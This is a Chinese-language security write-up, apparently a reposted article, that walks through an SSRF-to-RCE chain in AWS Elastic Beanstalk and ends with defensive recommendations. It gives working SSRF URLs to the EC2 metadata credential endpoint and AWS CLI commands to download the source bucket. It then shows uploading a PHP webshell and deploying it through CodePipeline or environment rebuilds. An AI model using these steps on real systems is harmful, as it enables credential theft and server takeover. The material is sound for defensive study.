在AWS Elastic Beanstalk中利用SSRF
字数 1975 2025-08-27 12:33:48
AWS Elastic Beanstalk SSRF漏洞利用与RCE攻击链分析
1. AWS Elastic Beanstalk概述
AWS Elastic Beanstalk是AWS提供的平台即服务(PaaS)产品,用于部署和扩展针对多种环境(Java、.NET、PHP、Node.js、Python、Ruby和Go)开发的Web应用程序。它自动处理:
- 部署
- 容量配置
- 负载均衡
- 自动扩展
- 应用程序健康监控
1.1 环境类型
Elastic Beanstalk支持两种环境配置:
- Web服务器环境:适合运行Web应用程序或Web API
- 工作环境:适合后台工作、长时间运行的流程
2. 默认配置与安全风险
2.1 资源配置
配置新环境时,AWS会自动创建:
- S3存储桶
- 安全组
- EC2实例
- 默认实例配置文件
aws-elasticbeanstalk-ec2-role
2.2 S3存储桶
- 存储桶命名格式:
elasticbeanstalk-region-account-id - 默认不启用加密:对象以未加密形式存储(仅授权用户可访问)
2.3 默认实例配置文件的托管策略
-
AWSElasticBeanstalkWebTier:
- 允许应用程序将日志上传到Amazon S3
- 允许调试信息发送到AWS X-Ray
- 对S3存储桶的有限列表、读取和写入权限
- 仅限存储桶名称以"elasticbeanstalk-"开头的存储桶
- 授予递归访问权限
-
AWSElasticBeanstalkWorkerTier
-
AWSElasticBeanstalkMulticontainerDocker
3. SSRF漏洞发现与确认
3.1 漏洞确认步骤
- 通过对外部域进行DNS调用确认SSRF
- 访问仅限localhost访问的页面进一步验证:
http://staging.xxxx-redacted-xxxx.com/view_pospdocument.php?doc=http://localhost/server-status
3.2 AWS元数据查询
确认服务提供商为AWS后,查询以下元数据端点:
-
获取账户ID和区域:
http://169.254.169.254/latest/dynamic/instance-identity/document -
获取访问凭证:
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role
4. AWS CLI配置与利用
4.1 配置AWS CLI
使用获取的凭证配置AWS CLI:
aws configure
验证凭证有效性:
aws sts get-caller-identity
4.2 S3存储桶访问
-
确定存储桶名称格式:
elasticbeanstalk-region-account-id- 示例:
elasticbeanstalk-us-east-2-69XXXXXXXX79
- 示例:
-
列出存储桶内容:
aws s3 ls s3://elasticbeanstalk-us-east-2-69XXXXXXXX79/ -
递归下载源代码:
aws s3 cp s3://elasticbeanstalk-us-east-2-69XXXXXXXX79/ /home/foobar/awsdata --recursive
5. 从SSRF到RCE的攻击链
5.1 直接上传Webshell失败
尝试直接上传PHP webshell到S3存储桶:
aws s3 cp webshell101.php s3://elasticbeanstalk-us-east-2-69XXXXXXXX79/
失败原因:更新的源代码不会自动部署到EC2实例
5.2 利用CI/CD管道实现RCE
5.2.1 AWS CodePipeline简介
AWS CodePipeline是一种CI/CD服务,可在代码更改时自动构建、测试和部署代码。支持:
- 源提供程序:GitHub、Amazon S3、AWS CodeCommit
- 部署提供程序:包括Elastic Beanstalk
5.2.2 攻击步骤
-
创建管道:
- 源提供程序:选择S3存储桶
- 部署提供程序:选择Elastic Beanstalk
-
上传Webshell:
- 将包含webshell的zip文件上传到S3存储桶
aws s3 cp webshell.zip s3://elasticbeanstalk-us-east-1-696XXXXXXXXX/ -
触发自动部署:
- CodePipeline检测到源更改后自动触发构建和部署
-
访问Webshell:
- 部署完成后,通过URL访问webshell执行系统命令
5.3 其他攻击路径
-
重建现有环境:
- 重建会终止所有资源并创建新资源
- 从S3存储桶部署最新源代码(包含webshell)
-
从现有环境克隆:
- 克隆环境会从S3存储桶获取代码
- 部署包含webshell的应用程序
-
创建新环境:
- 选择"从S3存储桶中选择现有存档文件"选项
- 提供包含webshell的S3存储桶URL
6. 防御措施建议
-
限制元数据访问:
- 使用IMDSv2
- 限制实例元数据服务访问
-
加强IAM策略:
- 遵循最小权限原则
- 限制S3存储桶访问权限
-
输入验证:
- 实施严格的输入验证
- 禁止访问内部网络和元数据服务
-
启用S3加密:
- 为Elastic Beanstalk创建的S3存储桶启用默认加密
-
监控和日志:
- 监控异常API调用
- 设置CloudTrail日志记录
-
定期审计:
- 定期审计IAM角色和策略
- 检查不必要的权限
7. 总结
本案例展示了如何通过SSRF漏洞获取AWS元数据,进而利用Elastic Beanstalk的默认配置和CI/CD管道实现远程代码执行。攻击链的关键点包括:
- 通过SSRF访问AWS元数据获取凭证
- 利用默认IAM策略访问S3存储桶
- 通过修改源代码并触发自动部署实现RCE
了解这些攻击技术对于构建安全的AWS环境至关重要,同时也强调了实施严格安全措施的必要性。